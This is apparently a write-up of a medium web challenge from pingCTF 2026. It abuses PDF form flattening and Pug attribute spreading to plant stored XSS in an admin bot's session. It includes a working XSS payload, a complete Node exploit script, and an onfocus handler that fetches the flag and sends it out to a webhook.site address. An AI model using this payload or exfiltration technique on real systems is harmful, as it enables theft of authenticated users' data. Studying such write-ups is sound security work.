review
review
Platform: pingCTF | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-04-19 | Status: Solved Techniques: admin_bot_exploitation, pdf_form_flattening_bypass, pug_attribute_injection, stored_xss
Summary
Task: Node/Express PDF review app with Pug templates and admin bot. Solution: Exploit discrepancy between upload-time and view-time PDF text extraction after form flattening to inject XSS via Pug &attributes() spread.
review — pingCTF 2026
Description
Every good CTF needs a review!
A Node.js/Express application that allows users to upload PDF review forms. An admin bot can be triggered to view the uploaded PDFs. The goal is to steal the flag from the authenticated admin session.
Analysis
Application Architecture
The application uses several key technologies:
- Express with Pug templates
- pdf-lib for PDF manipulation (creating forms, flattening)
- pdfjs-dist for text extraction
- Puppeteer for the admin bot
- multer for file uploads
Key Endpoints
- GET /download - Generates a fillable PDF template with hidden
pdf_idfield - POST /upload - Validates and stores uploaded PDFs
- POST /admin - Triggers admin bot to visit
/view?formId=<id> - GET /view - Displays extracted PDF text (requires authentication)
- GET /flag - Returns the flag (requires authentication)
The Vulnerability Chain
1. PDF Validation at Upload Time
javascript read-only • copy allowedasync function validatePDF(id) { // ... const htmlTagRegex = /<\/?[a-z][\s\S]*>/i; for (const field of storedFields) { try { const uploadedField = form.getTextField(field); const text = uploadedField.getText(); if (htmlTagRegex.test(text)) return false; // Check field values } catch { return false; } } // ... // Also extracts page text with pdfjs and checks for HTML tags const textContent = await docPage.getTextContent(); // ... if(htmlTagRegex.test(content)) return false; return true; }
The validation checks:
- Form field values for HTML tags
- Page text content (extracted via pdfjs) for HTML tags
Critical observation: At upload time, form fields are NOT flattened, so pdfjs only extracts static page text, not the form field values.
2. PDF Processing at View Time
javascript read-only • copy allowedasync function prepareForAI(id) { // ... const pdfDoc = await PDFDocument.load(originalPdfBytes); const form = pdfDoc.getForm(); form.flatten(); // <-- Form fields become page text! const flattenedPdfBytes = await pdfDoc.save(); const doc = await pdfjs.getDocument({ data: flattenedPdfBytes.buffer }).promise; let docPage = await doc.getPage(1); let textContent = await docPage.getTextContent(); let content = {style:"color:red", text: ""} for (item of textContent["items"]) { content.text = content.text + " " + item.str; } return content; }
After form.flatten(), the form field values are converted to static page text and extracted by pdfjs. This text was never validated!
3. Pug Template Sink
pug read-only • copy allowedp(id="pdf-text")&attributes(text)=text.text
The &attributes(text) spread operator takes the text object (which has {style:"color:red", text: "..."}) and spreads its properties as HTML attributes. The text property becomes an HTML attribute:
html read-only • copy allowed<p id="pdf-text" style="color:red" text="extracted PDF text">extracted PDF text</p>
If the extracted text contains a quote ("), it breaks out of the attribute value and allows injecting arbitrary HTML attributes like onfocus, autofocus, etc.
Filter Bypass
The regex /<\/?[a-z][\s\S]*>/i only blocks HTML tags with angle brackets. Attribute injection without < or > completely bypasses this filter.
Solution
Exploit Strategy
- Download the PDF template from
/download - Fill form fields with XSS payload split across Text1 and Text2
- Upload the malicious PDF
- Trigger admin bot to visit the view page
- XSS executes, fetches
/flag, and exfiltrates to webhook
Payload Construction
The payload must:
- Not contain
<or>(to bypass the HTML tag filter) - Break out of the
text="..."attribute - Inject event handlers that auto-execute
javascript read-only • copy allowedconst part1 = '" tabindex=1 autofocus onfocus="fetch(\'/flag\').then(r=>r.text()).then(t=>'; const part2 = `new Image().src='https://webhook.site/xxx/?f='+encodeURIComponent(t))" x="`;
When flattened and extracted, this becomes:
html read-only • copy allowed<p id="pdf-text" style="color:red" text=" " tabindex=1 autofocus onfocus="fetch('/flag').then(r=>r.text()).then(t=>new Image().src='https://webhook.site/xxx/?f='+encodeURIComponent(t))" x=" ...">
The autofocus + onfocus combination executes automatically when the page loads.
Exploit Script
javascript read-only • copy allowedconst { PDFDocument } = require('pdf-lib'); const BASE = 'http://178.104.35.165:10002'; const WEBHOOK = 'https://webhook.site/5f0505b5-e724-4142-8fcf-3dae5ebd516b'; async function main() { const part1 = '" tabindex=1 autofocus onfocus="fetch(\'/flag\').then(r=>r.text()).then(t=>'; const part2 = `new Image().src='${WEBHOOK}/?f='+encodeURIComponent(t))" x="`; // Download template const downloadRes = await fetch(`${BASE}/download`); const template = new Uint8Array(await downloadRes.arrayBuffer()); // Fill form fields with payload const pdfDoc = await PDFDocument.load(template); const form = pdfDoc.getForm(); form.getTextField('Text1').setText(part1); form.getTextField('Text2').setText(part2); const pdfBytes = await pdfDoc.save(); // Upload malicious PDF const formData = new FormData(); formData.append('reviewForm', new Blob([pdfBytes], { type: 'application/pdf' }), 'review.pdf'); const uploadRes = await fetch(`${BASE}/upload`, { method: 'POST', body: formData, }); const uploadHtml = await uploadRes.text(); const idMatch = uploadHtml.match(/name="formId"\s+value="([^"]+)"/); const formId = idMatch[1]; // Trigger admin bot await fetch(`${BASE}/admin`, { method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded' }, body: new URLSearchParams({ formId }).toString(), }); console.log({ formId, webhook: WEBHOOK }); } main();
Execution
bash read-only • copy allowednode exploit_review.js
The webhook receives the flag:
ping{REDACTED}